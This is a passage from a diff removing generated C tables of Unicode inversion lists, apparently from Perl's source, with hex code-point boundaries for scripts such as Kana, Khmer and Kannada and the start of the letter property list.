0xA3C, - 0xA3D, - 0xA41, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA83, - 0xABC, - 0xABD, - 0xAC1, - 0xAC6, - 0xAC7, - 0xAC9, - 0xACD, - 0xACE, - 0xAE2, - 0xAE4, - 0xAFA, - 0xB00, - 0xB01, - 0xB02, - 0xB3C, - 0xB3D, - 0xB3F, - 0xB40, - 0xB41, - 0xB45, - 0xB4D, - 0xB4E, - 0xB56, - 0xB57, - 0xB62, - 0xB64, - 0xB82, - 0xB83, - 0xBC0, - 0xBC1, - 0xBCD, - 0xBCE, - 0xC00, - 0xC01, - 0xC3E, - 0xC41, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC62, - 0xC64, - 0xC81, - 0xC82, - 0xCBC, - 0xCBD, - 0xCBF, - 0xCC0, - 0xCC6, - 0xCC7, - 0xCCC, - 0xCCE, - 0xCE2, - 0xCE4, - 0xD00, - 0xD02, - 0xD3B, - 0xD3D, - 0xD41, - 0xD45, - 0xD4D, - 0xD4E, - 0xD62, - 0xD64, - 0xDCA, - 0xDCB, - 0xDD2, - 0xDD5, - 0xDD6, - 0xDD7, - 0xE31, - 0xE32, - 0xE34, - 0xE3B, - 0xE47, - 0xE4F, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEC8, - 0xECE, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF71, - 0xF7F, - 0xF80, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x102D, - 0x1031, - 0x1032, - 0x1038, - 0x1039, - 0x103B, - 0x103D, - 0x103F, - 0x1058, - 0x105A, - 0x105E, - 0x1061, - 0x1071, - 0x1075, - 0x1082, - 0x1083, - 0x1085, - 0x1087, - 0x108D, - 0x108E, - 0x109D, - 0x109E, - 0x135D, - 0x1360, - 0x1712, - 0x1715, - 0x1732, - 0x1735, - 0x1752, - 0x1754, - 0x1772, - 0x1774, - 0x17B4, - 0x17B6, - 0x17B7, - 0x17BE, - 0x17C6, - 0x17C7, - 0x17C9, - 0x17D4, - 0x17DD, - 0x17DE, - 0x1807, - 0x1808, - 0x180A, - 0x180E, - 0x1820, - 0x1878, - 0x1885, - 0x18AB, - 0x1920, - 0x1923, - 0x1927, - 0x1929, - 0x1932, - 0x1933, - 0x1939, - 0x193C, - 0x1A17, - 0x1A19, - 0x1A1B, - 0x1A1C, - 0x1A56, - 0x1A57, - 0x1A58, - 0x1A5F, - 0x1A60, - 0x1A61, - 0x1A62, - 0x1A63, - 0x1A65, - 0x1A6D, - 0x1A73, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B04, - 0x1B34, - 0x1B35, - 0x1B36, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B42, - 0x1B43, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B82, - 0x1BA2, - 0x1BA6, - 0x1BA8, - 0x1BAA, - 0x1BAB, - 0x1BAE, - 0x1BE6, - 0x1BE7, - 0x1BE8, - 0x1BEA, - 0x1BED, - 0x1BEE, - 0x1BEF, - 0x1BF2, - 0x1C2C, - 0x1C34, - 0x1C36, - 0x1C38, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE1, - 0x1CE2, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF8, - 0x1CFA, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x200B, - 0x200C, - 0x200D, - 0x2010, - 0x202A, - 0x202F, - 0x2060, - 0x2065, - 0x206A, - 0x2070, - 0x20D0, - 0x20F1, - 0x2CEF, - 0x2CF2, - 0x2D7F, - 0x2D80, - 0x2DE0, - 0x2E00, - 0x302A, - 0x302E, - 0x3099, - 0x309B, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA825, - 0xA827, - 0xA840, - 0xA873, - 0xA8C4, - 0xA8C6, - 0xA8E0, - 0xA8F2, - 0xA926, - 0xA92E, - 0xA947, - 0xA952, - 0xA980, - 0xA983, - 0xA9B3, - 0xA9B4, - 0xA9B6, - 0xA9BA, - 0xA9BC, - 0xA9BD, - 0xA9E5, - 0xA9E6, - 0xAA29, - 0xAA2F, - 0xAA31, - 0xAA33, - 0xAA35, - 0xAA37, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4D, - 0xAA7C, - 0xAA7D, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAEC, - 0xAAEE, - 0xAAF6, - 0xAAF7, - 0xABE5, - 0xABE6, - 0xABE8, - 0xABE9, - 0xABED, - 0xABEE, - 0xFB1E, - 0xFB1F, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFEFF, - 0xFF00, - 0xFFF9, - 0xFFFC, - 0x101FD, - 0x101FE, - 0x102E0, - 0x102E1, - 0x10376, - 0x1037B, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10AC0, - 0x10AC6, - 0x10AC7, - 0x10AC8, - 0x10AC9, - 0x10ACB, - 0x10ACD, - 0x10AE2, - 0x10AE4, - 0x10AE7, - 0x10AEB, - 0x10AF0, - 0x10B80, - 0x10B92, - 0x10BA9, - 0x10BAF, - 0x11001, - 0x11002, - 0x11038, - 0x11047, - 0x1107F, - 0x11082, - 0x110B3, - 0x110B7, - 0x110B9, - 0x110BB, - 0x110BD, - 0x110BE, - 0x11100, - 0x11103, - 0x11127, - 0x1112C, - 0x1112D, - 0x11135, - 0x11173, - 0x11174, - 0x11180, - 0x11182, - 0x111B6, - 0x111BF, - 0x111CA, - 0x111CD, - 0x1122F, - 0x11232, - 0x11234, - 0x11235, - 0x11236, - 0x11238, - 0x1123E, - 0x1123F, - 0x112DF, - 0x112E0, - 0x112E3, - 0x112EB, - 0x11300, - 0x11302, - 0x1133C, - 0x1133D, - 0x11340, - 0x11341, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11438, - 0x11440, - 0x11442, - 0x11445, - 0x11446, - 0x11447, - 0x114B3, - 0x114B9, - 0x114BA, - 0x114BB, - 0x114BF, - 0x114C1, - 0x114C2, - 0x114C4, - 0x115B2, - 0x115B6, - 0x115BC, - 0x115BE, - 0x115BF, - 0x115C1, - 0x115DC, - 0x115DE, - 0x11633, - 0x1163B, - 0x1163D, - 0x1163E, - 0x1163F, - 0x11641, - 0x116AB, - 0x116AC, - 0x116AD, - 0x116AE, - 0x116B0, - 0x116B6, - 0x116B7, - 0x116B8, - 0x1171D, - 0x11720, - 0x11722, - 0x11726, - 0x11727, - 0x1172C, - 0x11A01, - 0x11A07, - 0x11A09, - 0x11A0B, - 0x11A33, - 0x11A39, - 0x11A3B, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A51, - 0x11A57, - 0x11A59, - 0x11A5C, - 0x11A8A, - 0x11A97, - 0x11A98, - 0x11A9A, - 0x11C30, - 0x11C37, - 0x11C38, - 0x11C3E, - 0x11C3F, - 0x11C40, - 0x11C92, - 0x11CA8, - 0x11CAA, - 0x11CB1, - 0x11CB2, - 0x11CB4, - 0x11CB5, - 0x11CB7, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, - 0x16AF0, - 0x16AF5, - 0x16B30, - 0x16B37, - 0x16F8F, - 0x16F93, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1BCA4, - 0x1D167, - 0x1D16A, - 0x1D173, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E8D0, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_JT__U_invlist[] = { /* for EBCDIC 037 */ - 667, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xCA, - 0xCB, - 0x300, - 0x370, - 0x483, - 0x48A, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x610, - 0x61B, - 0x61C, - 0x61D, - 0x620, - 0x621, - 0x622, - 0x660, - 0x66E, - 0x674, - 0x675, - 0x6D4, - 0x6D5, - 0x6DD, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x70F, - 0x74B, - 0x74D, - 0x780, - 0x7A6, - 0x7B1, - 0x7CA, - 0x7F4, - 0x7FA, - 0x7FB, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x82E, - 0x840, - 0x856, - 0x859, - 0x85C, - 0x860, - 0x861, - 0x862, - 0x866, - 0x867, - 0x86B, - 0x8A0, - 0x8AD, - 0x8AE, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E2, - 0x8E3, - 0x903, - 0x93A, - 0x93B, - 0x93C, - 0x93D, - 0x941, - 0x949, - 0x94D, - 0x94E, - 0x951, - 0x958, - 0x962, - 0x964, - 0x981, - 0x982, - 0x9BC, - 0x9BD, - 0x9C1, - 0x9C5, - 0x9CD, - 0x9CE, - 0x9E2, - 0x9E4, - 0xA01, - 0xA03, - 0xA3C, - 0xA3D, - 0xA41, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA83, - 0xABC, - 0xABD, - 0xAC1, - 0xAC6, - 0xAC7, - 0xAC9, - 0xACD, - 0xACE, - 0xAE2, - 0xAE4, - 0xAFA, - 0xB00, - 0xB01, - 0xB02, - 0xB3C, - 0xB3D, - 0xB3F, - 0xB40, - 0xB41, - 0xB45, - 0xB4D, - 0xB4E, - 0xB56, - 0xB57, - 0xB62, - 0xB64, - 0xB82, - 0xB83, - 0xBC0, - 0xBC1, - 0xBCD, - 0xBCE, - 0xC00, - 0xC01, - 0xC3E, - 0xC41, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC62, - 0xC64, - 0xC81, - 0xC82, - 0xCBC, - 0xCBD, - 0xCBF, - 0xCC0, - 0xCC6, - 0xCC7, - 0xCCC, - 0xCCE, - 0xCE2, - 0xCE4, - 0xD00, - 0xD02, - 0xD3B, - 0xD3D, - 0xD41, - 0xD45, - 0xD4D, - 0xD4E, - 0xD62, - 0xD64, - 0xDCA, - 0xDCB, - 0xDD2, - 0xDD5, - 0xDD6, - 0xDD7, - 0xE31, - 0xE32, - 0xE34, - 0xE3B, - 0xE47, - 0xE4F, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEC8, - 0xECE, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF71, - 0xF7F, - 0xF80, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x102D, - 0x1031, - 0x1032, - 0x1038, - 0x1039, - 0x103B, - 0x103D, - 0x103F, - 0x1058, - 0x105A, - 0x105E, - 0x1061, - 0x1071, - 0x1075, - 0x1082, - 0x1083, - 0x1085, - 0x1087, - 0x108D, - 0x108E, - 0x109D, - 0x109E, - 0x135D, - 0x1360, - 0x1712, - 0x1715, - 0x1732, - 0x1735, - 0x1752, - 0x1754, - 0x1772, - 0x1774, - 0x17B4, - 0x17B6, - 0x17B7, - 0x17BE, - 0x17C6, - 0x17C7, - 0x17C9, - 0x17D4, - 0x17DD, - 0x17DE, - 0x1807, - 0x1808, - 0x180A, - 0x180E, - 0x1820, - 0x1878, - 0x1885, - 0x18AB, - 0x1920, - 0x1923, - 0x1927, - 0x1929, - 0x1932, - 0x1933, - 0x1939, - 0x193C, - 0x1A17, - 0x1A19, - 0x1A1B, - 0x1A1C, - 0x1A56, - 0x1A57, - 0x1A58, - 0x1A5F, - 0x1A60, - 0x1A61, - 0x1A62, - 0x1A63, - 0x1A65, - 0x1A6D, - 0x1A73, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B04, - 0x1B34, - 0x1B35, - 0x1B36, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B42, - 0x1B43, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B82, - 0x1BA2, - 0x1BA6, - 0x1BA8, - 0x1BAA, - 0x1BAB, - 0x1BAE, - 0x1BE6, - 0x1BE7, - 0x1BE8, - 0x1BEA, - 0x1BED, - 0x1BEE, - 0x1BEF, - 0x1BF2, - 0x1C2C, - 0x1C34, - 0x1C36, - 0x1C38, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE1, - 0x1CE2, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF8, - 0x1CFA, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x200B, - 0x200C, - 0x200D, - 0x2010, - 0x202A, - 0x202F, - 0x2060, - 0x2065, - 0x206A, - 0x2070, - 0x20D0, - 0x20F1, - 0x2CEF, - 0x2CF2, - 0x2D7F, - 0x2D80, - 0x2DE0, - 0x2E00, - 0x302A, - 0x302E, - 0x3099, - 0x309B, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA825, - 0xA827, - 0xA840, - 0xA873, - 0xA8C4, - 0xA8C6, - 0xA8E0, - 0xA8F2, - 0xA926, - 0xA92E, - 0xA947, - 0xA952, - 0xA980, - 0xA983, - 0xA9B3, - 0xA9B4, - 0xA9B6, - 0xA9BA, - 0xA9BC, - 0xA9BD, - 0xA9E5, - 0xA9E6, - 0xAA29, - 0xAA2F, - 0xAA31, - 0xAA33, - 0xAA35, - 0xAA37, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4D, - 0xAA7C, - 0xAA7D, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAEC, - 0xAAEE, - 0xAAF6, - 0xAAF7, - 0xABE5, - 0xABE6, - 0xABE8, - 0xABE9, - 0xABED, - 0xABEE, - 0xFB1E, - 0xFB1F, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFEFF, - 0xFF00, - 0xFFF9, - 0xFFFC, - 0x101FD, - 0x101FE, - 0x102E0, - 0x102E1, - 0x10376, - 0x1037B, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10AC0, - 0x10AC6, - 0x10AC7, - 0x10AC8, - 0x10AC9, - 0x10ACB, - 0x10ACD, - 0x10AE2, - 0x10AE4, - 0x10AE7, - 0x10AEB, - 0x10AF0, - 0x10B80, - 0x10B92, - 0x10BA9, - 0x10BAF, - 0x11001, - 0x11002, - 0x11038, - 0x11047, - 0x1107F, - 0x11082, - 0x110B3, - 0x110B7, - 0x110B9, - 0x110BB, - 0x110BD, - 0x110BE, - 0x11100, - 0x11103, - 0x11127, - 0x1112C, - 0x1112D, - 0x11135, - 0x11173, - 0x11174, - 0x11180, - 0x11182, - 0x111B6, - 0x111BF, - 0x111CA, - 0x111CD, - 0x1122F, - 0x11232, - 0x11234, - 0x11235, - 0x11236, - 0x11238, - 0x1123E, - 0x1123F, - 0x112DF, - 0x112E0, - 0x112E3, - 0x112EB, - 0x11300, - 0x11302, - 0x1133C, - 0x1133D, - 0x11340, - 0x11341, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11438, - 0x11440, - 0x11442, - 0x11445, - 0x11446, - 0x11447, - 0x114B3, - 0x114B9, - 0x114BA, - 0x114BB, - 0x114BF, - 0x114C1, - 0x114C2, - 0x114C4, - 0x115B2, - 0x115B6, - 0x115BC, - 0x115BE, - 0x115BF, - 0x115C1, - 0x115DC, - 0x115DE, - 0x11633, - 0x1163B, - 0x1163D, - 0x1163E, - 0x1163F, - 0x11641, - 0x116AB, - 0x116AC, - 0x116AD, - 0x116AE, - 0x116B0, - 0x116B6, - 0x116B7, - 0x116B8, - 0x1171D, - 0x11720, - 0x11722, - 0x11726, - 0x11727, - 0x1172C, - 0x11A01, - 0x11A07, - 0x11A09, - 0x11A0B, - 0x11A33, - 0x11A39, - 0x11A3B, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A51, - 0x11A57, - 0x11A59, - 0x11A5C, - 0x11A8A, - 0x11A97, - 0x11A98, - 0x11A9A, - 0x11C30, - 0x11C37, - 0x11C38, - 0x11C3E, - 0x11C3F, - 0x11C40, - 0x11C92, - 0x11CA8, - 0x11CAA, - 0x11CB1, - 0x11CB2, - 0x11CB4, - 0x11CB5, - 0x11CB7, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, - 0x16AF0, - 0x16AF5, - 0x16B30, - 0x16B37, - 0x16F8F, - 0x16F93, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1BCA4, - 0x1D167, - 0x1D16A, - 0x1D173, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E8D0, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_KALI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA900, - 0xA930 -}; - -static const UV PL_KANA_invlist[] = { /* for all charsets */ - 29, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3001, - 0x3004, - 0x3008, - 0x3012, - 0x3013, - 0x3020, - 0x3030, - 0x3036, - 0x3037, - 0x3038, - 0x303C, - 0x303E, - 0x3099, - 0x309D, - 0x30A0, - 0x3100, - 0x31F0, - 0x3200, - 0x32D0, - 0x32FF, - 0x3300, - 0x3358, - 0xFE45, - 0xFE47, - 0xFF61, - 0xFFA0, - 0x1B000, - 0x1B001 -}; - -static const UV PL_KANAEXTA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1B100, - 0x1B130 -}; - -static const UV PL_KANASUP_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1B000, - 0x1B100 -}; - -static const UV PL_KANBUN_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3190, - 0x31A0 -}; - -static const UV PL_KANGXI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2F00, - 0x2FE0 -}; - -static const UV PL_KATAKANAEXT_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x31F0, - 0x3200 -}; - -static const UV PL_KHAR_invlist[] = { /* for all charsets */ - 17, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x10A50, - 0x10A59 -}; - -static const UV PL_KHMERSYMBOLS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x19E0, - 0x1A00 -}; - -static const UV PL_KHMR_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1780, - 0x17DE, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x19E0, - 0x1A00 -}; - -static const UV PL_KHOJ_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xAE6, - 0xAF0, - 0x11200, - 0x11212, - 0x11213, - 0x1123F -}; - -static const UV PL_KNDA_invlist[] = { /* for all charsets */ - 39, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x951, - 0x953, - 0x964, - 0x966, - 0xC80, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0x1CDA, - 0x1CDB, - 0x1CF5, - 0x1CF6, - 0xA830, - 0xA836 -}; - -static const UV PL_KTHI_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x966, - 0x970, - 0xA830, - 0xA83A, - 0x11080, - 0x110C2 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_L_invlist[] = { /* for ASCII/Latin1 */ - 1171, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x5B, - 0x61, - 0x7B, - 0xAA, - 0xAB, - 0xB5, - 0xB6, - 0xBA, - 0xBB, - 0xC0, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x370, - 0x375, - 0x376, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x620, - 0x64B, - 0x66E, - 0x670, - 0x671, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6E5, - 0x6E7, - 0x6EE, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74D, - 0x7A6, - 0x7B1, - 0x7B2, - 0x7CA, - 0x7EB, - 0x7F4, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x840, - 0x859, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x971, - 0x981, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BD, - 0x9BE, - 0x9CE, - 0x9CF, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E2, - 0x9F0, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA72, - 0xA75, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABD, - 0xABE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE2, - 0xAF9, - 0xAFA, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3D, - 0xB3E, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB71, - 0xB72, - 0xB83, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBD0, - 0xBD1, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC3E, - 0xC58, - 0xC5B, - 0xC60, - 0xC62, - 0xC80, - 0xC81, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBD, - 0xCBE, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCF1, - 0xCF3, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD4E, - 0xD4F, - 0xD54, - 0xD57, - 0xD5F, - 0xD62, - 0xD7A, - 0xD80, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xE01, - 0xE31, - 0xE32, - 0xE34, - 0xE40, - 0xE47, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBD, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF88, - 0xF8D, - 0x1000, - 0x102B, - 0x103F, - 0x1040, - 0x1050, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1071, - 0x1075, - 0x1082, - 0x108E, - 0x108F, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 